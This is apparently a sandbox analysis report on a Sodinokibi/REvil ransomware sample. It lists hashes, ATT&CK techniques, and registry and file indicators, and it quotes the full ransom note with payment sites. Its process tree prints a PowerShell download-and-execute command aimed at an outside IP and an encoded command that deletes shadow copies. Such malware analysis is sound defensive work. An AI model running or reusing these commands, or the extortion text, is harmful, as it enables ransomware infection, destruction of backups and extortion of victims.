sodinokibi | f6d98f99d70c4be05421f3c7fddc98c074854a0e6a38659100f275804a5c187e

General

Target

bef69b68e4cea8e3eefee8da26543509.bat
Size

220B
MD5

f506edf0fe02fe851c4ad75db6112399
SHA1

583ba0b7f8553e3ea3adf90de4f1750e8d989390
SHA256

f6d98f99d70c4be05421f3c7fddc98c074854a0e6a38659100f275804a5c187e
SHA512

db82f1056a21ebf451fb3bc400daf9efd94c43110f256c74653bc68f7c113a4d93e1c633c084a687cb42d391875c026fa643c221ccb1126ead3bf2d7cfaa3619

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/bef69b68e4cea8e3eefee8da26543509

Extracted

Path

C:\z51x2b3522-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension z51x2b3522. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3187F5FE3E32B1A5 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3187F5FE3E32B1A5 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 6ktb5mgbCAV1rZK0eC+iQPSbWzI5jGFefuoEWLlkNpfiYmrksQgaX0FeMgyDxUbL xrX51lo1Ctu4RoU1WEItGMhrm1RjCDcZOzGvr+9d/ZdSvnNuSmR9cPxf20GlxXdz oZdUZBHT/cJK8tKKfb9RmZ7qyly9KCZ7byi5IYoSj0eu+2v7HMB4uL7sAomQjd5O X7gmap3ltocMluln96ykHNroztbSli1pSKVaNe3WzS2XAf07VmnV4Vomv52cRgB/ Gw/eXn20UeKTWdOVsO35cqINYDNcLhOK7rNgylEb+KKDV29hPCBoyL0wNRnzIdy+ HmwALtls377Xb6jii7t2uGnB35QOHd/8oFRv+4i8ksFgsrea64EGW/h5ERMFI5gT NbqGhSD/lo/FxEDeZcasbIlQ2lXMZXPRG63duL4WdX2sGXrSi7pFSRbrb98FCseA t9gO+wR1aKmQiMsccMXjlh8zYBF8dWo/Mrh/ioFeaWnXro9+oBUkECo1/WKyb1iP BndQwqh01CrQsAIK/Td9ftY17d0lqblj9uk+dySOz7LrYkDoH/bd6xPut6lPRaif tD2E29DccQKUaCVc+PUPxJ6w1MtHBG3FNot1LtMfiRyXjsktV4biu0hg8/yrXeqZ rQWD2nYw+OotsaaIePfXoJSAR9vl7PkfZzCLYMca+02Nv6b2X8W4RoIYVh6jpxii rbKmuqB4lydqHzXFt1IUW37cqQIPdfexso23QLyUA8ZjDUaMIMHqKxMyrCHNPx7P yyi1HVbqeS6FlcZu3aJzjOtm+84tn9utbD6CKGCympYwgI7Yw6ZC34/YBf5BYAvu J85p8juZjrzq/mmb995DelqgoK7ED/NgJfEZ2q5BI/j4tzp2cPHIQGNaf5l3bCSA wpNqUrYHx4Yc8OKrSyCmZtFYcd42kmsrH+uWaEm7AXKpSdVfrmI8GDy6RN1kO8FF u5phWBPoaDIx9G71ghGZqLXNH8isxgIkCgqQk7v7vUh+sFyi04eanfzf38etfN52 7bLcbS30cwIvgozCcUc4yJBc3bYlvFmraRrsqKHl46eRD31iUsLFRrKbkwsw+0RP 9pYpr2scR4Bq21OPkheDrn5eoCvSGXKP4C3yFp7098p9vTOSPjyahPcTT1K+KIKp /DuEc4RCUHNL00hoQOWUzA5kxSBKJQtqz2QnguCE0oABPxZhHls4HOBHRLhj7oNC s+NTDcN4dVH0S1sIFSGDf6mRhsyFg9IRdfbOtzZqfyRg5doG8miMSM57MwA4ECNX U/H8nYlbiSa4HnxexSvbCo7GWiEB8rw6mZ1JisAl+Px87Xd4Egnu6Q== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3187F5FE3E32B1A5

http://decryptor.cc/3187F5FE3E32B1A5

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Drops file in Program Files directory 17 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\z51x2b3522-readme.txt	powershell.exe
File created	\??\c:\program files\z51x2b3522-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\z51x2b3522-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\z51x2b3522-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\UninstallPop.vsdm	powershell.exe
File opened for modification	\??\c:\program files\MeasureCompare.rtf	powershell.exe
File opened for modification	\??\c:\program files\PingSuspend.docx	powershell.exe
File opened for modification	\??\c:\program files\UninstallUnblock.wmv	powershell.exe
File opened for modification	\??\c:\program files\FindUninstall.midi	powershell.exe
File opened for modification	\??\c:\program files\SendSubmit.tif	powershell.exe
File opened for modification	\??\c:\program files\StartEdit.php	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\z51x2b3522-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RedoRegister.mpeg	powershell.exe
File opened for modification	\??\c:\program files\BackupDisconnect.wmx	powershell.exe
File opened for modification	\??\c:\program files\ConvertStep.wpl	powershell.exe
File opened for modification	\??\c:\program files\CopyMove.dib	powershell.exe
File opened for modification	\??\c:\program files\ExportConfirm.vst	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\t7npx3p.bmp"	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1536	powershell.exe
1536	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1396 powershell.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1396 powershell.exe

flow	pid	process
3	1396	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1304 wrote to memory of 1396	1304	cmd.exe	powershell.exe
PID 1396 wrote to memory of 1536	1396	powershell.exe	powershell.exe
PID 1396 wrote to memory of 1536	1396	powershell.exe	powershell.exe
PID 1396 wrote to memory of 1536	1396	powershell.exe	powershell.exe
PID 1396 wrote to memory of 1536	1396	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeBackupPrivilege	656	vssvc.exe
Token: SeRestorePrivilege	656	vssvc.exe
Token: SeAuditPrivilege	656	vssvc.exe
Token: SeTakeOwnershipPrivilege	1396	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\bef69b68e4cea8e3eefee8da26543509.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/bef69b68e4cea8e3eefee8da26543509');Invoke-YKHKXOBCRZILZ;Start-Sleep -s 10000"
2⤵
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1396

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1536

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads